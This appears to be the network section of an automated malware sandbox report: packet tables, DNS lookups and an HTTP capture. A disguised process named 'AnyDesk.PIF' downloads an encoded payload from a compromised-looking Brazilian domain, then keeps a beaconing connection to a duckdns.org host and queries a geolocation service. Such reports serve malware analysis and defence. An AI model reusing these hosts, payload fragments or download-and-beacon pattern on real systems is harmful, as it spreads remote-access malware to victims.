Nov 20, 2024 07:53:13.920588017 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920593023 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920598984 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920604944 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920605898 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920610905 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920614004 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920615911 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920622110 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920631886 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920644045 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920649052 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920654058 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920660973 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920700073 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920712948 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920897961 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920909882 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920921087 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920931101 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920941114 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920947075 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920952082 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920955896 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920962095 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920965910 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920968056 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.920972109 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920978069 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920983076 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920986891 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.920996904 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921001911 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921040058 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921066046 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921072960 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921077967 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921087980 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921097994 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921108007 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921118975 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921125889 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921128988 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921139002 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921149015 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921156883 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921159983 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921170950 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921173096 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921181917 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921192884 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921211004 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921215057 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921225071 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921231031 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921236992 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921247959 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921247959 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921260118 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921269894 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921278954 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921281099 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921288013 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921298027 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921308041 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921309948 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921318054 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921327114 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921329975 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921340942 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921349049 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921360016 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921382904 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921387911 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921392918 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921420097 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921432972 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921433926 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921444893 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921454906 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921456099 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921468019 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921478033 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921485901 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921495914 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921498060 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921506882 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921518087 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921528101 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921538115 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921541929 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921550035 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921561956 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921570063 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921576977 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921591043 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921593904 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921602011 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921608925 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921617985 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921623945 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921628952 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921641111 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921652079 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921652079 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921665907 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921678066 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921679974 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921689034 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921700001 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921710014 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921720028 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921722889 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921730995 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921741962 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921746969 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921756983 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921768904 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921781063 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921781063 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921792030 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921802998 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921813011 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921813011 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921823025 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921835899 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921844959 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921845913 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921844959 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921854973 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921860933 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921873093 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.921886921 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.921917915 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.922012091 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:13.922029972 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:13.922056913 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:17.802838087 CET	80	49707	216.172.172.178	192.168.2.8
Nov 20, 2024 07:53:17.802902937 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:19.461368084 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:19.466176033 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:19.466253996 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:19.471998930 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:19.476793051 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.143476963 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.198467016 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:20.305665016 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.311702967 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:20.316664934 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.317198992 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:20.322073936 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.323347092 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:20.328242064 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.684839964 CET	49707	80	192.168.2.8	216.172.172.178
Nov 20, 2024 07:53:20.763988018 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.765754938 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:20.774068117 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.923408031 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:20.980813026 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:20.998640060 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:53:21.004007101 CET	80	49710	178.237.33.50	192.168.2.8
Nov 20, 2024 07:53:21.006541014 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:53:21.006829023 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:53:21.011687994 CET	80	49710	178.237.33.50	192.168.2.8
Nov 20, 2024 07:53:21.627352953 CET	80	49710	178.237.33.50	192.168.2.8
Nov 20, 2024 07:53:21.628365040 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:53:21.923235893 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:21.928116083 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:22.626883984 CET	80	49710	178.237.33.50	192.168.2.8
Nov 20, 2024 07:53:22.627037048 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:53:51.123543024 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:53:51.125930071 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:53:51.130820990 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:54:21.438256025 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:54:21.439970016 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:54:21.444938898 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:54:51.861943960 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:54:51.863919973 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:54:51.868854046 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:55:10.978663921 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:55:11.369019032 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:55:12.056438923 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:55:13.353378057 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:55:15.853419065 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:55:20.759612083 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:55:22.195804119 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:55:22.199503899 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:55:22.204416037 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:55:30.369055033 CET	49710	80	192.168.2.8	178.237.33.50
Nov 20, 2024 07:55:52.673655033 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:55:52.676261902 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:55:52.681489944 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:56:23.040839911 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:56:23.042212963 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:56:23.047071934 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:56:53.448863983 CET	47666	49709	77.221.149.38	192.168.2.8
Nov 20, 2024 07:56:53.451133966 CET	49709	47666	192.168.2.8	77.221.149.38
Nov 20, 2024 07:56:53.456033945 CET	47666	49709	77.221.149.38	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 07:53:11.769628048 CET	65226	53	192.168.2.8	1.1.1.1
Nov 20, 2024 07:53:12.097208977 CET	53	65226	1.1.1.1	192.168.2.8
Nov 20, 2024 07:53:19.342160940 CET	57065	53	192.168.2.8	1.1.1.1
Nov 20, 2024 07:53:19.457752943 CET	53	57065	1.1.1.1	192.168.2.8
Nov 20, 2024 07:53:20.986335993 CET	55107	53	192.168.2.8	1.1.1.1
Nov 20, 2024 07:53:20.993346930 CET	53	55107	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 07:53:11.769628048 CET	192.168.2.8	1.1.1.1	0xafee	Standard query (0)	ferreiragascuritiba.com.br	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:53:19.342160940 CET	192.168.2.8	1.1.1.1	0x6496	Standard query (0)	iamblessed.duckdns.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:53:20.986335993 CET	192.168.2.8	1.1.1.1	0xdc74	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 07:53:12.097208977 CET	1.1.1.1	192.168.2.8	0xafee	No error (0)	ferreiragascuritiba.com.br	216.172.172.178	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:53:19.457752943 CET	1.1.1.1	192.168.2.8	0x6496	No error (0)	iamblessed.duckdns.org	77.221.149.38	A (IP address)	IN (0x0001)	false
Nov 20, 2024 07:53:20.993346930 CET	1.1.1.1	192.168.2.8	0xdc74	No error (0)	geoplugin.net	178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ferreiragascuritiba.com.br

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	216.172.172.178	80	7748	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:53:12.260776043 CET	177	OUT	GET /v/233_Faogvkghvqn HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: ferreiragascuritiba.com.br
Nov 20, 2024 07:53:12.721792936 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:53:12 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Tue, 19 Nov 2024 04:59:53 GMT Accept-Ranges: bytes Content-Length: 1101508 Keep-Alive: timeout=5, max=75 Data Raw: 70 71 36 6c 57 53 4f 6e 73 55 73 55 48 78 45 57 49 42 77 52 49 78 77 57 46 79 55 57 47 42 38 56 46 53 49 64 44 78 45 57 45 68 55 66 45 43 59 6a 46 52 73 52 49 78 6f 66 45 36 61 75 70 56 6b 6a 70 37 46 4c 55 51 34 63 46 43 4d 59 46 42 55 6a 48 68 75 6d 72 71 56 5a 49 36 65 78 53 33 52 70 64 33 4a 6f 62 48 64 6c 62 48 4a 35 65 4c 45 36 71 6b 35 4c 42 36 74 62 30 78 56 78 36 65 77 79 6a 69 47 44 44 2b 54 76 55 77 52 36 65 32 5a 4c 61 68 6a 2b 65 47 55 49 67 42 56 6a 48 68 72 71 6a 52 65 39 50 5a 46 4e 4f 43 4d 58 71 53 78 71 34 43 30 72 58 50 4d 30 66 63 4c 33 6c 51 38 34 41 56 70 53 5a 57 78 79 48 7a 45 49 73 77 65 78 4e 77 66 5a 62 6c 70 4c 6e 78 61 70 4c 46 51 65 68 37 71 49 34 4e 64 79 6b 52 6a 69 2f 49 51 65 62 57 72 6d 6d 42 4a 4c 53 51 5a 72 32 41 58 44 39 5a 52 34 31 76 4a 72 75 2b 71 59 63 4f 54 44 4e 56 2f 55 78 42 79 33 4c 67 68 2f 43 6e 77 51 57 54 30 4d 6c 68 50 6f 4f 70 43 6f 38 49 51 66 67 6e 48 30 42 72 6e 6a 51 34 67 6c 67 52 48 32 4c 63 32 35 6c 6e 57 4d 4b 78 76 79 2f 31 64 61 49 61 [TRUNCATED] Data Ascii: pq6lWSOnsUsUHxEWIBwRIxwWFyUWGB8VFSIdDxEWEhUfECYjFRsRIxofE6aupVkjp7FLUQ4cFCMYFBUjHhumrqVZI6exS3Rpd3JobHdlbHJ5eLE6qk5LB6tb0xVx6ewyjiGDD+TvUwR6e2ZLahj+eGUIgBVjHhrqjRe9PZFNOCMXqSxq4C0rXPM0fcL3lQ84AVpSZWxyHzEIswexNwfZblpLnxapLFQeh7qI4NdykRji/IQebWrmmBJLSQZr2AXD9ZR41vJru+qYcOTDNV/UxBy3Lgh/CnwQWT0MlhPoOpCo8IQfgnH0BrnjQ4glgRH2Lc25lnWMKxvy/1daIaw2B5S1f18ibMzohRUQLFr/Z3nTcG38gQ76LbcETE0HUlalH7wDkxIO84ew5Wm89PSQF4kc8e9YVnhqceddlc90cUKUFfY0xHLihixoCXPinIabEu03FyQ+FY8v4CHHO4UY4i0SGN/8hSRWOX8SVD+bHd0/diaOKlVBTiilNRUp9jTy8C4MEoTwDE5lbFjtq5oUHTdTAQCblbFZsUFW0GJSxhK+OYcu8coSc3fvbNW94X5iEl2h8JN06sj8sCVq2Lucmsk1Vo0Gibb0ahCb87PlR4YVbkZZgCsPOOwf0jKM/GzT+44nFzVPAq0HVLQZdWnwNHa1iOI3jxL7QX4Xpj1STHJ2c1JgBswPknhLkB16MARMekJsd2USalXts61DCyQkXfxMYixzaXlIbQlrR2cIAlFzcrckq09YC0tzobAVdjskN5LjeskC2+n7emN9EVd0w22FF+cUd3KXc9XklBLiRykXanvwUFsNtzYCf3G5VKc3C38AWp6KJh1aclJhxl0GLt9Pinjqh+M83WJOlhb4aoBIA1RYgyfdQXJfqSexBVFXBqxGfmU2rSCzNZreMZPE9dggwUaaN4nA5ok/mhKpMZJbWHgEjSsVozaxanHhSo5itrWJhiSXeV5wfRk94R1oMHH8mltYeI
Nov 20, 2024 07:53:12.721932888 CET	1236	IN	Data Raw: 53 76 63 65 70 34 59 58 4d 43 6d 78 45 6b 50 30 31 51 6d 68 5a 4e 51 55 75 68 43 33 4b 64 56 6e 73 5a 6a 63 50 33 32 48 68 5a 61 51 68 33 54 59 41 59 79 45 56 38 4f 70 73 58 64 55 4b 58 33 68 4d 34 64 6a 65 5a 48 43 41 39 57 6c 6d 44 4a 39 31 42 Data Ascii: Svcep4YXMCmxEkP01QmhZNQUuhC3KdVnsZjcP32HhZaQh3TYAYyEV8OpsXdUKX3hM4djeZHCA9WlmDJ91BdYCrvk0IS01rCHFqY3KExruJbdt2iWl1k9y+hiGzN8dqWGj/T5kTlOY4AWeM98fVcSjfN3Nmi3muc5b2z1EJZXNt6W2P/3wSgd9yaGy3QTD1amgKhCCzNoLP+ndydjRxcCVqbxx4ZW5p9bNmd3JoN7BqWhEVY3Jw6
Nov 20, 2024 07:53:12.721954107 CET	1236	IN	Data Raw: 6c 34 59 6d 56 7a 62 58 64 6c 62 6d 6c 31 64 47 6c 33 63 6d 68 73 64 32 56 73 63 6e 46 6a 63 6e 42 70 63 33 4e 6d 61 33 6c 33 63 6e 5a 7a 61 58 68 69 5a 58 4e 74 64 32 56 75 61 58 56 30 61 58 64 79 61 47 78 33 5a 57 78 79 63 57 4e 79 63 47 6c 7a Data Ascii: l4YmVzbXdlbml1dGl3cmhsd2VscnFjcnBpc3Nma3l3cnZzaXhiZXNtd2VuaXV0aXdyaGx3ZWxycWNycGlzc2ZreXdydnNpeGJlc213ZW5pdXRpd3JobHdlbHJxY3JwaXNzZmt5d3J2c2l4YmVzbXdlbml1dGl3cmhsd2VscnFjcnBpc3Nma3l3cnZzaXhiZXNtd2VuaXV0aXdyaGx3ZWxycWNycGlzc2ZreXdydnNpeGJlc213Z
Nov 20, 2024 07:53:12.721976995 CET	1236	IN	Data Raw: 64 6c 62 48 4a 78 59 33 4a 77 61 58 4e 7a 5a 6d 74 35 64 33 4a 32 63 32 6c 34 59 6d 56 7a 62 58 64 6c 62 6d 6c 31 64 47 6c 33 63 6d 68 73 64 32 56 73 63 6e 46 6a 63 6e 42 70 63 33 4e 6d 61 33 6c 33 63 6e 5a 7a 61 58 68 69 5a 58 4e 74 64 32 56 75 Data Ascii: dlbHJxY3JwaXNzZmt5d3J2c2l4YmVzbXdlbml1dGl3cmhsd2VscnFjcnBpc3Nma3l3cnZzaXhiZXNtd2VuaXV0aXdyaGx3ZWxycWNycGlzc2ZreXdydnNpeGJlc213ZW5pdXRpd3JobHdlbHJxY3JwaXNzZmt5d+k96CHjAO7o5pvvdvNp3tXdQfI33U/m4euD6HDwz+qq8kTeEN9N8Fv7fept32nmYd1w8WfqdORf7fwhExKSI
Nov 20, 2024 07:53:12.721990108 CET	1236	IN	Data Raw: 73 58 62 41 35 78 48 63 45 70 30 53 4b 70 4b 37 67 58 72 78 36 77 4a 4b 4d 62 52 78 34 4e 44 52 67 67 56 78 33 2f 47 67 63 6e 54 52 37 78 48 52 63 6f 46 68 73 52 49 35 4d 62 66 68 64 31 64 47 6c 32 6e 6d 69 4b 52 6d 58 69 61 74 2f 44 33 4d 7a 33 Data Ascii: sXbA5xHcEp0SKpK7gXrx6wJKMbRx4NDRggVx3/GgcnTR7xHRcoFhsRI5Mbfhd1dGl2nmiKRmXiat/D3Mz3v93O9anpnuir95zsRN006UDqBeFMaXdyW2yBRGxycfmacGlzf2aN+XfnjuaZ3J7xu+mz8e7tU+Dy4xLsjOOVIHojoyKgG0YhRRkJJQAmCxv+YmVzI3eTTmko/hwDJHQeXxVoJNETziLBI9cY0ynDJLYjpSqqFbcdp
Nov 20, 2024 07:53:12.722002983 CET	1236	IN	Data Raw: 54 6b 37 65 66 71 49 2f 73 71 36 43 76 72 6a 2b 35 2f 34 59 76 71 67 75 52 6c 33 32 62 79 58 2b 70 6a 38 74 4c 75 30 65 50 56 34 4d 62 76 73 4f 43 68 36 35 37 6d 74 2b 55 37 37 6b 62 6b 53 65 77 73 34 42 44 68 46 2b 34 47 39 55 2f 6b 54 2b 41 42 Data Ascii: Tk7efqI/sq6Cvrj+5/4YvqguRl32byX+pj8tLu0ePV4MbvsOCh657mt+U77kbkSews4BDhF+4G9U/kT+AB6eLi5+7c5RzrHfIQ5Y30lueV5IfwZ99z5Grlbd6+89fry/PK77nineGe7qjhOOpF5z7kM+8P5STtBeEI4E3vTPTe5d7h7ugb4yDvFeSE6pPzgOSF9m7lXeZf82/c2+fS5tXd1vCv6LPwouyh4TTiRe0v4kDpEOQn5
Nov 20, 2024 07:53:12.722014904 CET	1236	IN	Data Raw: 62 71 6c 65 47 61 37 49 66 6b 64 2b 31 79 38 57 33 63 58 64 39 69 38 47 44 66 62 65 52 6d 36 63 50 71 7a 50 48 62 36 38 4c 7a 79 64 2b 2b 33 73 76 78 76 50 71 6c 36 37 48 66 6e 65 61 64 33 61 54 78 71 2b 71 77 35 4b 50 74 4f 2b 6f 38 2b 30 6e 6f Data Ascii: bqleGa7Ifkd+1y8W3cXd9i8GDfbeRm6cPqzPHb68Lzyd++3svxvPql67Hfnead3aTxq+qw5KPtO+o8+0noLOsy7kbhLuox6+ngIO0b5RPtAPEJ3E/fCPBM3wnkWukH6pHx+Ovh8+rf3d7o8d/6F+sj3w/mD90Y8ZfqhOSP7ZjqgfRu52Hkd/F73oPlduVl3mplc23XZYtIdXRp4wTsBuMF6Frlgub37dzn8e8n4ybik+2Q9pXnh
